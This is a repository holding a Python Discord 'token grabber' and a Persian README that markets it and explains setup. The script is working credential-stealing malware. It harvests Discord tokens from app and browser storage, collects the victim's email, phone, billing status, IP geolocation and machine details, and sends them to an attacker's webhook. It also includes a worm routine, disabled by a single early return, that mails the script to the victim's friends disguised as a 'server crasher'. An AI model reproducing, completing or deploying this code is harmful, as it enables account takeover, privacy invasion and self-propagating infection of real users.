├── Paraffin Token Grabber.py
└── README.md
/Paraffin Token Grabber.py:
--------------------------------------------------------------------------------
1 | import re, os
2 | if os.name != "nt":
3 | exit()
4 | from re import findall
5 | import json
6 | import platform as plt
7 | from json import loads, dumps
8 | from base64 import b64decode
9 | from subprocess import Popen, PIPE
10 | from urllib.request import Request, urlopen
11 | from datetime import datetime
12 | from threading import Thread
13 | from time import sleep
14 | from sys import argv
15 |
16 | webhook_url = ""
17 |
18 | languages = {
19 | 'da' : 'Danish, Denmark',
20 | 'de' : 'German, Germany',
21 | 'en-GB' : 'English, United Kingdom',
22 | 'en-US' : 'English, United States',
23 | 'es-ES' : 'Spanish, Spain',
24 | 'fr' : 'French, France',
25 | 'hr' : 'Croatian, Croatia',
26 | 'lt' : 'Lithuanian, Lithuania',
27 | 'hu' : 'Hungarian, Hungary',
28 | 'nl' : 'Dutch, Netherlands',
29 | 'no' : 'Norwegian, Norway',
30 | 'pl' : 'Polish, Poland',
31 | 'pt-BR' : 'Portuguese, Brazilian, Brazil',
32 | 'ro' : 'Romanian, Romania',
33 | 'fi' : 'Finnish, Finland',
34 | 'sv-SE' : 'Swedish, Sweden',
35 | 'vi' : 'Vietnamese, Vietnam',
36 | 'tr' : 'Turkish, Turkey',
37 | 'cs' : 'Czech, Czechia, Czech Republic',
38 | 'el' : 'Greek, Greece',
39 | 'bg' : 'Bulgarian, Bulgaria',
40 | 'ru' : 'Russian, Russia',
41 | 'uk' : 'Ukranian, Ukraine',
42 | 'th' : 'Thai, Thailand',
43 | 'zh-CN' : 'Chinese, China',
44 | 'ja' : 'Japanese',
45 | 'zh-TW' : 'Chinese, Taiwan',
46 | 'ko' : 'Korean, Korea'
47 | }
48 |
49 | LOCAL = os.getenv("LOCALAPPDATA")
50 | ROAMING = os.getenv("APPDATA")
51 | PATHS = {
52 | "Discord" : ROAMING + "\\Discord",
53 | "Discord Canary" : ROAMING + "\\discordcanary",
54 | "Discord PTB" : ROAMING + "\\discordptb",
55 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
56 | "Opera" : ROAMING + "\\Opera Software\\Opera Stable",
57 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
58 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default",
59 | "Safari" : LOCAL + "\\Safari\\User Data\\Default",
60 | }
61 | def getheaders(token=None, content_type="application/json"):
62 | headers = {
63 | "Content-Type": content_type,
64 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
65 | }
66 | if token:
67 | headers.update({"Authorization": token})
68 | return headers
69 | def getuserdata(token):
70 | try:
71 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
72 | except:
73 | pass
74 | def gettokens(path):
75 | path += "\\Local Storage\\leveldb"
76 | tokens = []
77 | for file_name in os.listdir(path):
78 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
79 | continue
80 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
81 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
82 | for token in findall(regex, line):
83 | tokens.append(token)
84 | return tokens
85 | def getdeveloper():
86 | dev = "2021 - by Parsa"
87 | try:
88 | dev = urlopen(Request("https://pastebin.com/raw/qa1ftnHs")).read().decode()
89 | except:
90 | pass
91 | return dev
92 | def getip():
93 | ip = org = loc = city = country = region = googlemap = "None"
94 | try:
95 | url = 'http://ipinfo.io/json'
96 | response = urlopen(url)
97 | data = json.load(response)
98 | ip = data['ip']
99 | org = data['org']
100 | loc = data['loc']
101 | postal = data['postal']
102 | city = data['city']
103 | country = data['country']
104 | region = data['region']
105 | googlemap = "https://www.google.com/maps/search/google+map++" + loc
106 | except:
107 | pass
108 | return ip,org,loc,city,country,region,googlemap
109 | def getavatar(uid, aid):
110 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
111 | try:
112 | urlopen(Request(url))
113 | except:
114 | url = url[:-4]
115 | return url
116 | def gethwid():
117 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
118 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
119 | def getfriends(token):
120 | try:
121 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
122 | except:
123 | pass
124 | def getchat(token, uid):
125 | try:
126 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
127 | except:
128 | pass
129 | def has_payment_methods(token):
130 | try:
131 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
132 | except:
133 | pass
134 | def send_message(token, chat_id, form_data):
135 | try:
136 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
137 | except:
138 | pass
139 | def spread(token, form_data, delay):
140 | return # Remove to re-enabled
141 | for friend in getfriends(token):
142 | try:
143 | chat_id = getchat(token, friend["id"])
144 | send_message(token, chat_id, form_data)
145 | except Exception as e:
146 | pass
147 | sleep(delay)
148 | def main():
149 | global webhook_url
150 | cache_path = ROAMING + "\\.cache~$"
151 | prevent_spam = True
152 | self_spread = True
153 | embeds = []
154 | working = []
155 | checked = []
156 | already_cached_tokens = []
157 | working_ids = []
158 | computer_os = plt.platform()
159 | ip,org,loc,city,country,region,googlemap = getip()
160 | pc_username = os.getenv("UserName")
161 | pc_name = os.getenv("COMPUTERNAME")
162 | user_path_name = os.getenv("userprofile").split("\\")[2]
163 | developer = getdeveloper()
164 | for platform, path in PATHS.items():
165 | if not os.path.exists(path):
166 | continue
167 | for token in gettokens(path):
168 | if token in checked:
169 | continue
170 | checked.append(token)
171 | uid = None
172 | if not token.startswith("mfa."):
173 | try:
174 | uid = b64decode(token.split(".")[0].encode()).decode()
175 | except:
176 | pass
177 | if not uid or uid in working_ids:
178 | continue
179 | user_data = getuserdata(token)
180 | if not user_data:
181 | continue
182 | working_ids.append(uid)
183 | working.append(token)
184 | username = user_data["username"] + "#" + str(user_data["discriminator"])
185 | user_id = user_data["id"]
186 | locale = user_data['locale']
187 | avatar_id = user_data["avatar"]
188 | avatar_url = getavatar(user_id, avatar_id)
189 | email = user_data.get("email")
190 | phone = user_data.get("phone")
191 | verified = user_data['verified']
192 | mfa_enabled = user_data['mfa_enabled']
193 | flags = user_data['flags']
194 |
195 | creation_date = datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC')
196 |
197 | language = languages.get(locale)
198 | nitro = bool(user_data.get("premium_type"))
199 | billing = bool(has_payment_methods(token))
200 | embed = {
201 | "color": 0xFFD400,
202 | "fields": [
203 | {
204 | "name": "**اطلاعات اکانت 👤**",
205 | "value": f'> **ایمیل** : {email}\n> **شماره** : I {phone}\n> **نیترو** : {nitro}\n> **صورت حساب خرید** : {billing}\n> **بدج های اکانت** : I {flags}',
206 | "inline": True
207 | },
208 | {
209 | "name": "**اطلاعات کامپیوتر 💻**",
210 | "value": f'> **مدل کامپیوتر** : {computer_os}\n> **نام کامپیوتر** : {pc_username}\n > **نام دسکتاپ** : {pc_name}\n> **پلتفرم توکن** : {platform}',
211 | "inline": True
212 | },
213 | {
214 | "name": "--------------------------------------------------------------------------------------------------",
215 | "value":"**--------------------------------------------------------------------------------------------------**",
216 | "inline": False
217 | },
218 | {
219 | "name": "**اطلاعات آی پی** 🌐",
220 | "value": f'> **آی پی** : I {ip}\n> **نقشه روی گوگل مپ** : I [{loc}]({googlemap})\n> **شهر** : {city}\n> **کشور** : {region}',
221 | "inline": True
222 | },
223 | {
224 | "name": "**اطلاعات تکمیلی** :ballot_box_with_check: ",
225 | "value": f'> **زبان** : {locale} ({language})\n> **تاییدیه ایمیل** : {verified}\n> **تو فکتوری** : {mfa_enabled}\n> **تاریخ ساخت اکانت** : I {creation_date}',
226 | "inline": True
227 | },
228 |
229 | ],
230 | "author": {
231 | "name": f"{username} ({user_id})",
232 | "icon_url": avatar_url
233 | },
234 | "footer": {
235 | "text": f"PARAFFIN Info Grabber",
236 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png"
237 | }
238 | }
239 | embed2 = {
240 | "color": 0xff0000,
241 | "fields": [
242 |
243 | {
244 | "name": "**توکن** 📟",
245 | "value": token,
246 | "inline": False
247 | }
248 | ],
249 | "author": {
250 | "name": f"{username} ({user_id})",
251 | "icon_url": avatar_url
252 | },
253 | "footer": {
254 | "text": f"PARAFFIN Token Grabber",
255 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png"
256 | }
257 | }
258 | embed3 = {
259 | "color": 0x1BA41A,
260 | "fields": [
261 |
262 | {
263 | "name": "> **اولین و برترین توکن گربر دیسکورد فارسی**",
264 | "value": f'> کاملا حرفه ای و تست شده روی تمام پلتفرم ها \n> **دارای تمام اطلاعات اکانت و کامپیوتر طعمه**\n> Web : [Paraffin.SITE](https://paraffin.site)\n> YT : [youtube/paraffin](https://www.youtube.com/watch?v=stIqHgKHZVY&t=19s)',
265 | "inline": True
266 | },
267 |
268 | ],
269 | "author": {
270 | "name": f"PARAFFIN ™",
271 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png"
272 | },
273 | "footer": {
274 | "text": f"PARAFFIN TEAM",
275 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png"
276 | }
277 | }
278 | embeds.append(embed)
279 | embeds.append(embed2)
280 | embeds.append(embed3)
281 | with open(cache_path, "a") as file:
282 | for token in checked:
283 | if not token in already_cached_tokens:
284 | file.write(token + "\n")
285 | if len(working) == 0:
286 | working.append('123')
287 | webhook = {
288 | "content": "",
289 | "embeds": embeds,
290 | "username": username,
291 | "avatar_url": avatar_url
292 | }
293 | try:
294 | urlopen(Request(webhook_url, data=dumps(webhook).encode(), headers=getheaders()))
295 | except:
296 | pass
297 | if self_spread:
298 | for token in working:
299 | with open(argv[0], encoding="utf-8") as file:
300 | content = file.read()
301 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
302 | Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
303 | try:
304 | main()
305 | except Exception as e:
306 | print(e)
307 | pass
308 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Paraffin-Token-Grabber
2 | [](https://paraffin.site)
3 |
4 | 
5 |
6 | اولین توکن گربر ایرانی
7 |
8 |
9 | ## 🔧 مورد نیاز ها
10 | 1. Python **[Guide](https://www.python.org/downloads/)**
11 |
12 |
13 |
14 | ## 👨🏫 آموزش نصب
15 |
16 |
17 | نصب برنامه پایتون
18 |
19 | دبل کلیک روی فایل اصلی
20 |
21 | **🔴 `Paraffin Token Grabber.py` فراموش نکنید که جایگذاری توکن در خط ۱۶ فایل🔴**
22 |
23 | **با تشکر از**
24 |
25 | 
26 | ****
27 |
--------------------------------------------------------------------------------